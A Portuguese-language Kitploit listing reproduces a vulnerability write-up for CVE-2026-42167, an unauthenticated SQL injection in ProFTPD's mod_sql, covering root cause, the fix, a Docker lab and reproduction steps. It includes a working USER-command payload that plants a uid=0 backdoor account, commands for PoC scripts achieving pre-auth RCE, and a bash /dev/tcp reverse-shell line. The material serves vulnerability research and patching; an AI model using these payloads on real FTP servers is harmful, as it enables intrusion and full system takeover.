Skip to content
KitploitKITPLOIT
FerramentasBlog
Log in
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
proftpd-CVE-2026-42167-analysis — Reprodução independente, análise de causa-raiz em nível de código e relatório de exposição realista para CVE-2026-42167 (bypass de is_escaped_text() no mod_sql do ProFTPD). | Kitploit
Ferramentas/GitHubGitHub/dinosn/proftpd-cve-2026-42167-analysis
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoPapers e PesquisaAprendizado e Educação
GitHubdinosn/proftpd-cve-2026-42167-analysis

proftpd-CVE-2026-42167-analysis

Reprodução independente, análise de causa-raiz em nível de código e relatório de exposição realista para CVE-2026-42167 (bypass de is_escaped_text() no mod_sql do ProFTPD).

Ver Repositório
3110há 5 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-42167 — ProFTPD mod_sql Injeção SQL / Bypass de Autenticação / RCE

Reprodução independente, análise detalhada da causa raiz no nível do código e uma análise franca de exposição para CVE-2026-42167 — o bypass de is_escaped_text() no pipeline de logging do mod_sql do ProFTPD, divulgado pela ZeroPath Research e corrigido no ProFTPD 1.3.9a / 1.3.10rc1.

Construído e verificado de ponta a ponta em Docker no macOS / Apple Silicon, 2026-04-29.

TL;DR — veja Conclusão para o panorama realista de exposição antes de decidir o quanto se preocupar. Este não é um bug de instalação padrão, mas o padrão de aspas perigoso é o padrão que a documentação oficial recomenda usar, então uma grande fração das implantações de mod_sql o herda.

CampoValor
CVECVE-2026-42167
CWECWE-89 (Injeção SQL), CWE-78 (Injeção de Comandos do SO — via PG COPY TO PROGRAM)
AfetadoProFTPD ≤ 1.3.9 com mod_sql + SQLLog/SQLNamedQuery cuja string de formato interpola uma variável controlada pelo atacante dentro de aspas simples
Corrigido em1.3.9a (af90843ba…) / 1.3.10rc1, veja o commit e6f728481 ("Issue #2052")
Commit vulnerável fixadoae25959adb05ae1d6ebfa1f36bf778c9c34e9410
Arquivo vulnerávelcontrib/mod_sql.c linhas 741–758 (is_escaped_text) e linha 777 (sql_resolved_append_text)
Divulgação originalhttps://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce
PoC públicohttps://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc
Notas de versãohttp://www.proftpd.org/docs/RELEASE_NOTES-1.3.10rc1

1. Causa raiz — heurística is_escaped_text() em contrib/mod_sql.c

O mod_sql resolve as variáveis de formato de logging (%U, %{basename}, etc.) e anexa cada parte ao SQL renderizado via sql_resolved_append_text(). Para preservar a compatibilidade retroativa com configurações de admin que já envolvem variáveis em '…', a função chama is_escaped_text() para decidir se sql_escapestring é necessário:```c /* contrib/mod_sql.c — vulnerable commit ae25959 */ 741 static int is_escaped_text(const char text, size_t text_len) { 742 register unsigned int i; 743 744 if (text[0] != ''') return FALSE; 745 if (text[text_len-1] != ''') return FALSE; 746 for (i = 1; i < text_len-1; i++) 747 if (text[i] == ''') return FALSE; 748 return TRUE; 749 } … 777 if (is_escaped_text(text, text_len) == FALSE) { … / …sql_escapestring()… */ 790 } else { 791 pr_trace_msg(trace_channel, 17, 792 "text '%s' is already escaped, skipping escaping it again", text); 793 new_text = (char *) text; 794 new_textlen = text_len; 795 }

A verificação é puramente estrutural — ela não consegue distinguir *"já escapado por
código confiável"* de *"criado por um atacante para parecer já escapado."*
Qualquer valor fornecido pelo cliente que corresponda a `'<no-internal-quotes>'` ignora
`sql_escapestring` e é concatenado bruto na consulta final.

A configuração padrão e documentada envolve `%U` / `%{basename}` / `%m` em aspas
simples:```
SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log
SQLLog        ERR_*       log_activity

Quando o atacante envia USER '<payload>' (aspas de abertura e fechamento, sem aspas internas), o resolvedor substitui %U sem escape, produzindo ''<payload>'' no SQL — os literais de string vazia fecham as aspas ao redor e <payload> é executado como SQL bruto. Com PostgreSQL (PQexec) e SQLite (sqlite3_exec), consultas empilhadas são suportadas, então <payload> pode ser qualquer sequência de instruções.

Como SQLLog ERR_* é acionado em logins falhos e %U é definido a partir de USER antes da autenticação, o ataque é totalmente não autenticado.

A correção (commit e6f728481, "Issue #2052")

sql_resolved_append_text() ganha um parâmetro already_escaped. Os chamadores que resolvem valores a partir de entrada do cliente passam FALSE e agora passam por sql_escapestring incondicionalmente — a heurística is_escaped_text() ainda é aplicada para o caminho legítimo de "config com valor pré-escapado", mas não se aplica mais a dados controlados pelo atacante.


2. Ambiente de laboratório```

+--------------------+ FTP 21 +-----------------------+ | attacker (host) | <--> 127.0.0.1:2121 | proftpd-poc-server | | python3 PoCs | | ProFTPD 1.3.9-pre | +--------------------+ | mod_sql_postgres | +-----------+-----------+ | libpq v +-----------------------+ | proftpd-poc-postgres | | PostgreSQL 15 | | role 'proftpd' = SU | +-----------------------+

- Ambos os contêineres são iniciados via `setup/docker-compose.yml`.
- `setup/proftpd.conf` habilita a configuração de logging vulnerável (ver §1).
- `setup/seed.sql` cria `users`, `groups`, `activity_log`, `xfer_log`,
  e `secrets`, além de um único usuário FTP legítimo `ftpuser / ftppass`.

---

## 3. Reprodução — copiar e colar

Pré-requisitos: Docker Desktop, Python 3.10+, git. (`uv` é opcional; os
PoCs usam apenas a biblioteca padrão.)```bash
# 1) clone this repo
git clone https://github.com/dinosn/proftpd-CVE-2026-42167-analysis.git
cd proftpd-CVE-2026-42167-analysis/poc

# 2) build vulnerable proftpd + postgres in Docker
cd setup && ./setup.sh && cd ..
#   - clones proftpd source pinned to ae25959a (vulnerable)
#   - builds with --with-modules=mod_sql:mod_sql_postgres
#   - starts both containers, waits for healthchecks

# 3) reproduce — pre-auth backdoor user (uid=0, homedir=/)
python3 pocs/preauth_user_backdoor.py --host localhost --port 2121

# 4) inspect the planted account
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
  -c "SELECT userid,uid,gid,homedir,shell FROM users;"

# 5) reproduce — post-auth STOR backdoor
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
  -c "DELETE FROM users WHERE userid='backdoor';"
python3 pocs/postauth_stor_backdoor.py \
  --host localhost --port 2121 --user ftpuser --password ftppass

# 6) reproduce — pre-auth RCE proof (non-interactive, marker-file variant)
python3 pocs/preauth_rce_marker.py --host localhost --port 2121
docker exec proftpd-poc-postgres cat /tmp/cve-2026-42167-rce.txt

# 7) tear down
cd setup && ./teardown.sh

As duas variantes interativas no repositório upstream (preauth_user_rce.py, postauth_stor_rce.py) não são modificadas e abrem um reverse shell com suporte a PTY. Elas usam o mesmo primitivo da variante marcadora — basta substituir o comando shell por bash -i >& /dev/tcp/<host>/<port> 0>&1 e escutar em <port> primeiro.


4. Os payloads, byte por byte

Backdoor pré-autenticação (comando USER, %U)```

USER ', null, null); INSERT INTO users VALUES($$backdoor$$, $$pwned123$$, 0, 0, $$/$$, $$/bin/bash$$); --' PASS x

Por que funciona:
Baixar ferramenta